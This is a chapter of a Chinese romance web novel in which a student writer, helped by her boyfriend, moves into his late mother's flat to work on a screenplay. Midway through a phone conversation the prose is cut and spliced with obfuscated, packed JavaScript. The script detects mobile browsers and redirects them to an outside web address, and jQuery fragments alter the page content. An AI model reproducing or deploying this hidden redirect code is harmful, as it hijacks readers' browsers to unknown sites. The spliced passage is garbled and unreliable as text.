到达京市，列车门打开的瞬间，一股炙热的热风裹挟着灰尘扑面而来。眼前又是那个熟悉的城市，阳光明晃晃地照耀着马路上，蒸腾起干燥的气息。嘶哑的蝉鸣声不绝于耳，像一张巨大的网，笼罩着整座城市。青岛清爽的海风被抛诸身后，封存在记忆里。


    暑期的宿舍楼空荡荡的，顾知秋正坐在宿舍的书桌前，室内闷如蒸笼，只有电风扇在徒劳地搅动着凝固的热浪。她对着空白文档，感觉自己就像那台风扇，看似筋疲力竭，却无没有任何实质的用处。


    心底那个隐约有些轮廓的故事，似乎是急切地想要破土而出。对着电脑屏幕，她有些恍惚，手指悬在键盘上，一时不知该如何落下。


    她又拿起手机，屏保还是那张抓拍时越的照片，少年眉眼在晨光中冷静又热烈。刷到徐嘉瑜上传了一段青岛之行的短视频合集，配文：【山海与烟火，皆不辜负。】她看完点了个赞。


    许丹丹也发了几张青岛风景照，她新注册的微博账号“Dan总碎碎念”，已经有了不少的粉丝，有旅游打卡，有护肤测评，最近一条是分析一部正在热播的恋爱剧的男主究竟帅在哪里，最后总结：【这男主还没有我闺蜜男友帅！】评论区吵着无图无真相，她活跃地回复着……


    顾知秋点下赞，嘴角扬起。想到自己此刻卡在这里，而屏幕上文档里的光标，像嘲讽的眼睛，对她一下一下地眨着。她下意识打开微信，把时越的头像设置了【置顶聊天】，仿佛这是此刻可以抓住的一点确定可以掌控的事情。


    顾知秋再一次点开备忘录，看着那个已经看了无数次的标题：《雨夜之后》，以及后面的人物小传。


    再次看时间的时候，已经过去一个小时了，输入字数：0。按照这个趋势下去，今天的进度条又要原地踏步了。


    终于，下午时她的“战场”转移到了图书馆。这里冷气充足。桌上是借来的各类写稿会用到的书籍。她的笔记本变得乱七八糟，画满了只有她自己能看懂的人物关系图，贴满了五颜六色的便利贴。甚至下载了雨声的音效，戴着耳机循环播放着。偶尔还会试着在心里念出某句台词找感觉……


    —


    而时越的世界在这一周缩小为一张光学平台。


    此时，激发器发出稳定的红光，在分光镜上裂成两束。他们这次的课题是测量一种新材料的热膨胀系数，屏幕上，干涉图样在微微抖动着。


    “又飘了！”旁边的师兄叹了口气。


    时越没说话。他的右手放到了调节旋钮的上方，转动金属传递到反射镜，屏幕上抖动的曲线终于慢慢恢复秩序。这个动作他重复了太多次，每个旋钮的力度已经形成了肌肉记忆。


    手机在口袋里震动。他做完当前这组记录才拿出来看。


    是顾知秋发来的一段剧本对白。


    他盯着这几行行字看了会儿，有些干燥的嘴角微微扬起，指尖在手机键盘快速跳动：【天气预报说，下午有雨。】


    下午四点，天色果然骤然暗沉，紧接着，豆大的雨点噼里啪啦地砸在窗玻璃上，瞬间落成一片雨幕。顾知秋走到窗边，看着窗外被暴雨模糊的世界，高中时的记忆倏然涌现。


    那时候她总是忘记带伞，而时越也总在好多个雨天借伞给她，那两把黑色的伞曾好几次为她撑开了头顶的一片晴空。她立刻回到电脑前，伴随着窗外的雨声，指尖在键盘上飞舞起来，那个困扰自己许久的“雨夜分别”场景，终于找到了切入的锚点。


    然而，再后来的连续几天，故事仿佛走入了死胡同，情节完全推进不下去。顾知秋坐在图书馆唯一开放的阅览室，对着屏幕发呆，情绪难免有些低落，她烦躁地反复打开关掉文档。


    【重活一次带来的，是不是另一种形式的枷锁？我写的，是不是只是投机取巧而已？如果剥去‘先知’这层外衣，顾知秋本身，真的有才华吗？】内心的自我审判让她陷入自我怀疑的情绪。连旁边有人坐下都没察觉。


    直到，一只温暖的手在桌下轻轻覆上她紧攥的的拳头。


    顾知秋倏然抬头，对上的是时越沉静的目光。他没用指腹在她手背上安抚性地捏了捏，然后，拿出一串冰凉的东西放入她掌心。


    顾知秋低头，是一串钥匙。


    “阅览室下个月好像也不开门了。”他音量不高，恰好能让她听清，“要不要……换个地方写？”


    顾知秋疑惑地抬起头。


    “是我妈妈以前的房子，离学校不算远。”他的喉结轻微地滚动了一下，语气依旧平静，像是鼓起勇气才能说出口：“她走了之后，我一直没怎么回去过。”


    顾知秋的心微微一动，看着他的眼睛，没有任何犹豫，点了点头。


    房子和她想象的完全不同。推开门，没有陈腐的气息，只是精心维护的宁静。客厅不大，沙发搭着柔软的米色羊绒毯，书架被各类书籍填满……这里的一切，都完整的保留着上一位主人曾经生活的痕迹。


    她放下包，“我可以参观一下吗？”


    时越带着她，一路看过去，没有人注意到他此刻眼中的温柔。顾知秋走到书架前，手指划过书脊，一尘不染。打开冰箱，里面整齐码着她常喝的酸奶。房间里也是处处透露着温馨。连阳台的角落都被清出来，摆好了空花盆，旁边放着一本被翻旧了的《家庭养花指南》。


    “时越，你是不是回来打扫过？”顾知秋走到他身边拉起他的手。


    “嗯。听你说在宿舍写不出来，我就先来这里打扫了一下。”时越把她拉近了几步，“把积灰都清理了，窗帘洗了，冰箱也通了电，你房间的四件套也是新买的，洗过了。”


    “你还提前买好按摩仪啊，这么贴心!”顾知秋看到桌角放着的全新的颈椎按摩仪，双手放在他的腰上虚虚抱着。


    “和你宿舍的那个是一个牌子吧？”时越笑了笑，顺势抱过她：“我问店员，她说是最新款，最新的颜色。”


    她看了看着那亮瞎眼的玫粉色，想笑他直男的审美，却是忍不住鼻子一酸，回抱住他。


    窗外，太阳正在西沉，天空被染成一抹橘粉色，像一场无声的祝福，笼罩着客厅里相拥的两个人。


    —


    晚上吃完饭，顾知秋站在阳台上，手机贴在耳边，听着电话那头母亲絮絮叨叨的声音。


    “只只，吃饭了吗？”母亲的声音透过听筒传来，带着熟悉的关切。


    “吃过了，自己煮的面。”顾知秋轻声回答，手指无意识的在阳台上扫过。


    “多吃点有营养的，别老吃方便面。多吃水果蔬菜，多喝牛奶。”


    “知道啦。”顾知秋笑着应，语气里已经没了上辈子那种不耐与疏远，“对了，你胃最近还疼吗？”


    “没事，上次跟你去检查医生不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16567949|181043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也说没事。”母亲又问，“你呢，上次说在写剧本，一个人住宿舍怕不怕？”


    “……其他系很多人都留校的。”顾知秋靠着阳台，望着楼下的人来人往，当然没说自己搬出来住的事。


    电话那头沉默了几秒，像是在整理措辞，随后母亲说：“只只，不管你做什么，我们都支持你。”


    “你爸嘴笨，但你写的东西，他都偷偷收藏着，还拿给同事看呢。”母亲笑道，“就是不好意思当面夸你。”


    “妈，谢谢你和爸爸。”顾知秋喉头一紧，话语里却带着笃定。


    电话那头静了两秒，传来母亲轻轻的吸鼻声：“这傻孩子，一家人谢什么。那你先忙吧，国庆节时候能回来了吧。”


    “嗯。想吃你做的炸带鱼了。”顾知秋笑着应下来。


    电话挂断，听筒边沿还留着掌心的温度。她看着远方，心里被那股来自远方的暖意填得满满的，是被家人全然理解和接纳的幸福感。


    走回客厅，就看见时越蹲在书桌一角，正在尝试打开抽屉，谁知道抽屉纹丝不动,像是卡死了。他微微蹙眉，改用两只手，加大了力道，还是一动不动。


    “锁死了吗？”顾知秋也蹲下来，在旁边看着。


    时越只是低头查看，对顾知秋说：“帮我拿一下工具箱里的螺丝刀，最大的那把。”


    拿来后，他将刀头楔入木质缝隙，然后用掌心抵着末端，猛然一发力。


    “咔嚓！”


    一声干燥的木材断裂声响起。时越的手稳稳定住，将螺丝刀往深处一别，随即，一股混合着陈旧木屑和纸张的气息，从豁开的缝隙中涌出，冲入鼻腔。


    他没有立刻动作，只是盯着那道缝隙。片刻，他才就着那道口子，将抽屉完全抽了出来。


    里面堆着泛黄的账单、照片，还有一个厚厚的牛皮纸信封，封口整齐，上面用娟秀的字迹写着：【给小越】。


    时越的手在一瞬间停住了。他盯着那几个字，有些害怕却又有些期待。


    他很慢地拆开信封，里面是一把钥匙，一份房产证，还有一封信。信纸有了时间的痕迹，边缘有些卷起，字迹却依旧清晰。


    时越展开信纸，目光飞速地扫过前面几行，顾知秋看到他的嘴角似乎想向上弯一下，却最终失败了。他的阅读速度越来越慢，读到最后一行时，右手有些难以抑制地发抖，呼吸有些乱。


    “她说在这里没有要求，没有必须要拿的满分……”他忽然说出这句话，像是对自己，也像是对她。说完后，时越仿佛是被抽空了所有力气，将额头顶在的书桌边缘，肩膀微微耸动。顾知秋看见，一滴水珠迅速砸落在他面前的稿纸上，晕开一个小小的圈。


    顾知秋默默上前，从身后抱住他，两人在寂静中待了一会儿。时越慢慢平复，将信和钥匙郑重收好。


    后来的手机铃声突兀地打破了两人相处的时光。时越瞥见屏幕上的名字，蹙了下眉，起身走向阳台。顾知秋只隐约听到他简短的回应，语气礼貌却带着疏离：“嗯，我知道了。”“您决定就好，不用特意问我。”“到时我看吧。”


    电话挂断，他走回来，脸上的表情已恢复一贯的平静，但他垂在身侧的手，却不自觉地攥成了拳。


    “怎么了？”


    时越沉默了几秒，像是在斟酌词句：


    “我爸他，要再婚了。”